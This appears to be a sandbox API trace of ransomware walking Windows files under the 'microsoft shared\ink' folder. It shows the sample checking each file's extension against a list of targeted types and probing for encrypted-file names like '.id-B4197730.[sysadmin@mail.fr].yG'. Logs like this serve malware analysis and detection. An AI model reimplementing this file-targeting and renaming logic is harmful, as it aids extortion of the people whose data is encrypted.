	[0181.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61
	[0181.641] lstrlenW (lpString=".dbf") returned 4
	[0181.641] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0181.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61
	[0181.641] lstrlenW (lpString=".1cd") returned 4
	[0181.641] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0181.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61
	[0181.641] lstrlenW (lpString=".jpg") returned 4
	[0181.641] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0181.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61
	[0181.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61
	[0181.641] lstrlenW (lpString=".doc") returned 4
	[0181.641] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0181.641] lstrlenW (lpString=".docx") returned 5
	[0181.641] lstrcmpiW (lpString1=".docx", lpString2="y.xml") returned -1
	[0181.641] lstrlenW (lpString=".pdf") returned 4
	[0181.641] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0181.641] lstrlenW (lpString=".xls") returned 4
	[0181.642] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0181.642] lstrlenW (lpString=".xlsx") returned 5
	[0181.642] lstrcmpiW (lpString1=".xlsx", lpString2="y.xml") returned -1
	[0181.642] lstrlenW (lpString=".ppt") returned 4
	[0181.642] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0181.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61
	[0181.642] lstrlenW (lpString=".zip") returned 4
	[0181.642] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0181.642] lstrlenW (lpString=".rar") returned 4
	[0181.642] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0181.642] lstrlenW (lpString=".bz2") returned 4
	[0181.642] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0181.642] lstrlenW (lpString=".7z") returned 3
	[0181.642] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0181.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61
	[0181.642] lstrlenW (lpString=".dbf") returned 4
	[0181.642] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0181.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61
	[0181.642] lstrlenW (lpString=".1cd") returned 4
	[0181.642] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0181.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61
	[0181.642] lstrlenW (lpString=".jpg") returned 4
	[0181.642] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0181.643] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0181.643] lstrlenW (lpString="ipsdan.xml") returned 10
	[0181.643] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0181.644] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=2514) returned 1
	[0181.644] CloseHandle (hObject=0x358) returned 1
	[0181.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20
	[0181.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0181.645] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0181.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0181.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0181.645] lstrlenW (lpString=".doc") returned 4
	[0181.645] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0181.645] lstrlenW (lpString=".docx") returned 5
	[0181.645] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1
	[0181.645] lstrlenW (lpString=".pdf") returned 4
	[0181.645] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0181.645] lstrlenW (lpString=".xls") returned 4
	[0181.645] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0181.645] lstrlenW (lpString=".xlsx") returned 5
	[0181.645] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1
	[0181.645] lstrlenW (lpString=".ppt") returned 4
	[0181.645] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0181.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0181.645] lstrlenW (lpString=".zip") returned 4
	[0181.645] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0181.646] lstrlenW (lpString=".rar") returned 4
	[0181.646] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0181.646] lstrlenW (lpString=".bz2") returned 4
	[0181.646] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0181.646] lstrlenW (lpString=".7z") returned 3
	[0181.646] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0181.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0181.646] lstrlenW (lpString=".dbf") returned 4
	[0181.646] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0181.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0181.646] lstrlenW (lpString=".1cd") returned 4
	[0181.646] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0181.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0181.646] lstrlenW (lpString=".jpg") returned 4
	[0181.646] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0181.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0181.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0181.646] lstrlenW (lpString=".doc") returned 4
	[0181.646] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0181.646] lstrlenW (lpString=".docx") returned 5
	[0181.646] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1
	[0181.646] lstrlenW (lpString=".pdf") returned 4
	[0181.646] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0181.646] lstrlenW (lpString=".xls") returned 4
	[0181.646] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0181.647] lstrlenW (lpString=".xlsx") returned 5
	[0181.647] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1
	[0181.647] lstrlenW (lpString=".ppt") returned 4
	[0181.647] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0181.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0181.647] lstrlenW (lpString=".zip") returned 4
	[0181.647] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0181.647] lstrlenW (lpString=".rar") returned 4
	[0181.647] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0181.647] lstrlenW (lpString=".bz2") returned 4
	[0181.647] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0181.647] lstrlenW (lpString=".7z") returned 3
	[0181.647] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0181.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0181.647] lstrlenW (lpString=".dbf") returned 4
	[0181.647] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0181.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0181.647] lstrlenW (lpString=".1cd") returned 4
	[0181.647] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0181.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0181.647] lstrlenW (lpString=".jpg") returned 4
	[0181.647] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0181.648] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0181.648] lstrlenW (lpString="ipsdeu.xml") returned 10
	[0181.648] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0181.648] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=2616) returned 1
	[0181.649] CloseHandle (hObject=0x358) returned 1
	[0181.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20
	[0181.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0181.649] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0181.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0181.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0181.649] lstrlenW (lpString=".doc") returned 4
	[0181.649] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0181.649] lstrlenW (lpString=".docx") returned 5
	[0181.650] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1
	[0181.650] lstrlenW (lpString=".pdf") returned 4
	[0181.652] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0181.652] lstrlenW (lpString=".xls") returned 4
	[0181.652] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0181.652] lstrlenW (lpString=".xlsx") returned 5
	[0181.652] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1
	[0181.652] lstrlenW (lpString=".ppt") returned 4
	[0181.652] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0181.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0181.652] lstrlenW (lpString=".zip") returned 4
	[0181.652] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0181.652] lstrlenW (lpString=".rar") returned 4
	[0181.652] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0181.652] lstrlenW (lpString=".bz2") returned 4
	[0181.652] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0181.652] lstrlenW (lpString=".7z") returned 3
	[0181.652] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0181.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0181.652] lstrlenW (lpString=".dbf") returned 4
	[0181.652] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0181.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0181.652] lstrlenW (lpString=".1cd") returned 4
	[0181.652] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0181.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0181.652] lstrlenW (lpString=".jpg") returned 4
	[0181.652] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0181.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0181.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0181.653] lstrlenW (lpString=".doc") returned 4
	[0181.653] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0181.653] lstrlenW (lpString=".docx") returned 5
	[0181.653] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1
	[0181.653] lstrlenW (lpString=".pdf") returned 4
	[0181.653] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0181.653] lstrlenW (lpString=".xls") returned 4
	[0181.653] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0181.653] lstrlenW (lpString=".xlsx") returned 5
	[0181.653] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1
	[0181.653] lstrlenW (lpString=".ppt") returned 4
	[0181.653] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0181.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0181.653] lstrlenW (lpString=".zip") returned 4
	[0181.653] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0181.653] lstrlenW (lpString=".rar") returned 4
	[0181.653] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0181.653] lstrlenW (lpString=".bz2") returned 4
	[0181.653] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0181.653] lstrlenW (lpString=".7z") returned 3
	[0181.653] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0181.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0181.653] lstrlenW (lpString=".dbf") returned 4
	[0181.653] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0181.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0181.654] lstrlenW (lpString=".1cd") returned 4
	[0181.654] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0181.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61
	[0181.654] lstrlenW (lpString=".jpg") returned 4
	[0181.654] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0181.654] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0181.654] lstrlenW (lpString="ipsel.xml") returned 9
	[0181.654] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0181.655] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=2618) returned 1
	[0181.655] CloseHandle (hObject=0x358) returned 1
	[0181.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml")) returned 0x20
	[0181.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0181.655] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0181.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0181.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0181.655] lstrlenW (lpString=".doc") returned 4
	[0181.655] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0181.655] lstrlenW (lpString=".docx") returned 5
	[0181.655] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1
	[0181.655] lstrlenW (lpString=".pdf") returned 4
	[0181.655] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0181.656] lstrlenW (lpString=".xls") returned 4
	[0181.656] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0181.656] lstrlenW (lpString=".xlsx") returned 5
	[0181.656] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1
	[0181.656] lstrlenW (lpString=".ppt") returned 4
	[0181.656] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0181.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0181.656] lstrlenW (lpString=".zip") returned 4
	[0181.656] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0181.656] lstrlenW (lpString=".rar") returned 4
	[0181.656] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0181.656] lstrlenW (lpString=".bz2") returned 4
	[0181.656] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0181.656] lstrlenW (lpString=".7z") returned 3
	[0181.656] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0181.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0181.656] lstrlenW (lpString=".dbf") returned 4
	[0181.656] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0181.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0181.656] lstrlenW (lpString=".1cd") returned 4
	[0181.656] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0181.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0181.656] lstrlenW (lpString=".jpg") returned 4
	[0181.656] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0181.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0181.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0181.657] lstrlenW (lpString=".doc") returned 4
	[0181.657] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0181.657] lstrlenW (lpString=".docx") returned 5
	[0181.657] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1
	[0181.657] lstrlenW (lpString=".pdf") returned 4
	[0181.657] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0181.657] lstrlenW (lpString=".xls") returned 4
	[0181.657] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0181.657] lstrlenW (lpString=".xlsx") returned 5
	[0181.657] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1
	[0181.657] lstrlenW (lpString=".ppt") returned 4
	[0181.657] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0181.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0181.657] lstrlenW (lpString=".zip") returned 4
	[0181.657] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0181.657] lstrlenW (lpString=".rar") returned 4
	[0181.657] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0181.657] lstrlenW (lpString=".bz2") returned 4
	[0181.657] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0181.657] lstrlenW (lpString=".7z") returned 3
	[0181.657] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0181.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0181.657] lstrlenW (lpString=".dbf") returned 4
	[0181.657] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0181.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0181.657] lstrlenW (lpString=".1cd") returned 4
	[0181.658] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0181.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60
	[0181.658] lstrlenW (lpString=".jpg") returned 4
	[0181.658] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0181.658] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0181.658] lstrlenW (lpString="ipsen.xml") returned 9
	[0181.658] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0181.659] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=2578) returned 1
	[0181.659] CloseHandle (hObject=0x358) returned 1
	[0181.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20
	[0181.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0181.660] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0181.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60
	[0181.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60
	[0181.660] lstrlenW (lpString=".doc") returned 4
	[0181.660] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0181.660] lstrlenW (lpString=".docx") returned 5
	[0181.660] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1
	[0181.660] lstrlenW (lpString=".pdf") returned 4
	[0181.660] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0181.660] lstrlenW (lpString=".xls") returned 4
	[0181.660] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0181.660] lstrlenW (lpString=".xlsx") returned 5
	[0181.660] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1
	[0181.660] lstrlenW (lpString=".ppt") returned 4
	[0181.660] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0181.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60
	[0181.660] lstrlenW (lpString=".zip") returned 4
	[0181.660] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0181.660] lstrlenW (lpString=".rar") returned 4
	[0181.661] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0181.661] lstrlenW (lpString=".bz2") returned 4
	[0181.661] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0181.661] lstrlenW (lpString=".7z") returned 3
	[0181.661] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0181.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60
	[0181.661] lstrlenW (lpString=".dbf") returned 4
	[0181.661] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0181.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60
	[0181.661] lstrlenW (lpString=".1cd") returned 4
	[0181.661] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0181.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60
	[0181.661] lstrlenW (lpString=".jpg") returned 4
	[0181.661] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0181.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60
	[0181.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60
	[0181.661] lstrlenW (lpString=".doc") returned 4
	[0181.661] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0181.661] lstrlenW (lpString=".docx") returned 5
	[0181.661] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1
	[0181.661] lstrlenW (lpString=".pdf") returned 4
	[0181.661] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0181.661] lstrlenW (lpString=".xls") returned 4
	[0181.662] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0181.662] lstrlenW (lpString=".xlsx") returned 5
	[0181.662] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1
	[0181.662] lstrlenW (lpString=".ppt") returned 4
	[0181.662] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0181.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60
	[0181.662] lstrlenW (lpString=".zip") returned 4
	[0181.662] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0181.662] lstrlenW (lpString=".rar") returned 4
	[0181.662] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0181.662] lstrlenW (lpString=".bz2") returned 4
	[0181.662] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0181.662] lstrlenW (lpString=".7z") returned 3
	[0181.662] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0181.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60
	[0181.662] lstrlenW (lpString=".dbf") returned 4
	[0181.662] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0181.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60
	[0181.662] lstrlenW (lpString=".1cd") returned 4
	[0181.662] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0181.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60
	[0181.662] lstrlenW (lpString=".jpg") returned 4
	[0181.662] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0181.663] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0181.663] lstrlenW (lpString="ipsesp.xml") returned 10
	[0181.663] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
